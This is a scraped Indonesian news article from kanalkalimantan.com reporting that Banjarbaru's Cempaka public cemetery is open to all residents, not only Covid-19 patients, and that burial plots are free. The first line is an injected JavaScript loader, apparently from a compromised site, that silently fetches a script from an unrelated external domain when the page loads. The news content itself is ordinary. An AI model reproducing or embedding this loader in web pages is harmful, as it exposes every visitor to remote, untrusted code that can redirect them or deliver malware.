(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
KANALKALIMANTAN.COM, BANJARBARU – Areal Tempat Permakaman Umum (TPU) milik Pemerintah Kota (Pemko) Banjarbaru bisa dipergunakan untuk umum. Tiga lahan TPU baru sudah disediakan Pemko Banjarbaru bagi warga, salah satunya TPU Cempaka.
Awal penggunaannya, TPU Cempaka dibuka untuk permakaman pasien Covid-19. Banyak yang mengira bahwa TPU itu hanya digunakan untuk permakaman pasien Covid-19, tidak untuk umum.
Kepala Bidang Pertamanan, PJU dan Permakaman Dinas Perumahan dan Pemukiman (Disperkim) Kota Banjarbaru, Sartono menegaskan, kalau TPU Cempaka diperuntukan untuk umum, tidak hanya untuk pasien Covid-19 saja.
“TPU-nya untuk umum, tidak hanya untuk pasien Covid-19,” tegasnya, Kamis (4/11/2021).
Baca juga : Tiga Tahap Migrasi TV Analog ke Digital, KPID Kalsel Sosialisasi di HSU
Diperkirakan TPU Cempaka dengan luas 3,5 hektare bisa menampung 8000 liang lahat dan bisa bertahan 15-20 tahun, mengacu dari angka kematian dari Disdukcapil Kota Banjarbaru. Sementara TPU Sungai Ulin dengan luas 1 hektare diperkirakan bisa menampung 2.500 liang lahat.
“Sebenarnya masih ada lagi 3 TPU, yang sudah beroperasi baru di Cempaka. Dua lainnya TPU Guntung Manggis seluas 4 hektare dan TPU Sungai Ulin seluas 1 hektare yang sudah dioperasikan. Akan tetapi TPU itu belum siap operasionalnya,” ungkapnya.
Karena ada 3 TPU yang dikelola pemerintah kota, di setiap TPU yang berstatus milik daerah tidak dikenakan biaya alias gratis.
Sehingga bagi warga Kota Banjarbaru yang memerlukan tempat permakaman bisa memanfaatkan lahan TPU tersebut.
Bagi warga yang kurang mampu seperti keluarga penerima keluarga harapan (PKH) gratis, cukup minta surat keterangan dari ketua RT atau kelurahan, semua difasilitasi dari penyedian liang lahat dan membuat lubangnya semua ditanggung pemerintah.
Baca juga : Wali Kota Banjarmasin Ibnu Sina di-PTUN-kan, Satpol PP Target Bongkar 10 Baliho Bando
“Untuk warga Kota Banjarbaru tak dikenakan biaya untuk liang lahatnya. Memang bagi keluarga yang ekonominya mampu ada rencana dikenakan retribusi, cuman itu hanya sebatas beli batu nisan dan rumputnya saja, selebihnya tak ada biaya lainnya,” jelasnya. (kanalkalimantan.com/ibnu)
Reporter : ibnu
Editor : bie
KANALKALIMANTAN.COM, BANJARBARU - Nasib Tugu Adipura yang menjadi salah satu ikon Ibu Kota Provinsi Kalimantan… Read More
KANALKALIMANTAN.COM - Kabar bahagia untuk nasabah BRI dan pengguna aplikasi mobile banking BRImo. Saat ini,… Read More
Terancam Tak Bisa Dilewati Jemaah Haul ke-20 Sekumpul Read More
Dispersip Kalsel Musnahkan Arsip Tiga Instansi Read More
KANALKALIMANTAN.COM, BANJARBARU – Jasad berjenis kelamin perempuan didapati warga Landasan Ulin Timur tak bernyawa di… Read More
KANALKALIMANTAN.COM, BANJARBARU - Pemerintah Provinsi (Pemprov) Kalimantan Selatan (Kalsel) menggelar acara penyerahan hadiah penghargaan Adipura… Read More
This website uses cookies.